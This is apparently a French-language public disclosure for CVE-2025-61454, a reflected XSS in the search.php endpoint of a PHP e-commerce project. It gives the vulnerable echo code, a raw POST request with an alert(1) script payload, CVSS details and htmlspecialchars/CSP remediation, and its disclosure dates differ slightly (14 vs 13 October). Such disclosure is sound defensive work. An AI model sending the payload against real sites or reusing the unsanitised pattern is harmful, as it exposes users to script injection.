tansique-17/cve-2025-61454Divulgation publique et preuve de concept pour CVE-2025-61454, une vulnérabilité XSS réfléchie dans search.php du projet E-commerce v1.0, incluant les étapes d'exploitation et les recommandations de remédiation.
Date de divulgation : 14 octobre 2025
Identifiant CVE : CVE-2025-61454
Gravité : MOYENNE (CVSS 6.1)
Une vulnérabilité de Cross-Site Scripting (XSS) réfléchi existe dans le E-commerce Project v1.0, plus précisément dans le point de terminaison search.php. L'entrée non assainie du paramètre search est directement reflétée dans le HTML de la réponse, permettant aux attaquants d'exécuter du JavaScript arbitraire dans le navigateur d'un utilisateur qui visite un lien malveillant ou soumet une requête spécialement conçue.
Ce problème a été identifié sous la référence CVE-2025-61454. Au moment de la divulgation, aucun correctif n'a été publié par le fournisseur.
search.phphttp://localhost/e-commerce-main/search.phpLe serveur ne parvient pas à assainir correctement le paramètre search des données POST avant de le refléter dans le HTML de la réponse. Cela permet aux attaquants d'injecter des charges utiles JavaScript, conduisant à une exécution de code côté client.
Un attaquant conçoit une entrée contenant du contenu de type script intégré et l'envoie au point de terminaison POST vulnérable. Étant donné que le serveur reflète l'entrée dans la réponse HTML sans appliquer un encodage HTML/attribut/JS approprié, le navigateur traite le contenu reflété comme du balisage exécutable et l'exécute. Il s'agit d'un scénario XSS réfléchi (non persistant) ; l'attaquant doit convaincre une victime d'effectuer la requête ou de visiter un lien/formulaire spécialement conçu.
$search = $_POST['search'];
echo "<div>Résultats de recherche pour : $search</div>";
| ID CWE | Titre |
|---|---|
| CWE-79 | Neutralisation incorrecte de l'entrée lors de la génération de pages Web ('Cross-site Scripting') |
| Score | Gravité | Chaîne vectorielle |
|---|---|---|
| 6.1 | MOYENNE | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
Une exploitation réussie pourrait entraîner :
git clone https://github.com/Bhabishya-123/E-commerce.git
Utilisez XAMPP/LAMP pour déployer le projet et accéder à l'application.
POST /e-commerce-main/search.php HTTP/1.1
Host: localhost
Referer: https://localhost/e-commerce-main/
Content-Type: application/x-www-form-urlencoded
search=yxo9p%3cscript%3ealert(1)%3c%2fscript%3exnzmd&submit=
search=yxo9p<script>alert(1)</script>xnzmd&submit=
yxo9p<script>alert(1)</script>xnzmd
Explication :
La charge utile <script>alert(1)</script> est intégrée dans le paramètre search. Lorsqu'une victime soumet un formulaire de recherche avec cette charge utile malveillante (ou est trompée pour le faire via ingénierie sociale), le JavaScript s'exécute dans le contexte de son navigateur.
Si la vulnérabilité est présente, le navigateur exécutera le code JavaScript, affichant une boîte d'alerte avec la valeur 1. Cela confirme une exploitation XSS réussie.
htmlspecialchars() ou équivalent pour encoder toutes les sorties non fiables avant de les rendre en HTML.$search = htmlspecialchars($_POST['search'], ENT_QUOTES, 'UTF-8');
echo "<div>Résultats de recherche pour : $search</div>";
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
| Événement | Date |
|---|---|
| Vulnérabilité découverte | 16 septembre 2025 |
| Divulgation publique | 13 octobre 2025 |
| Correctif disponible | ❌ Non disponible au moment de la divulgation |
Cette vulnérabilité a été découverte et divulguée par :
Tansique Dasari
🔗 GitHub
✉️ [email protected]
💬 Cet avis est publié de manière indépendante en raison de l'absence de correctif officiel du fournisseur.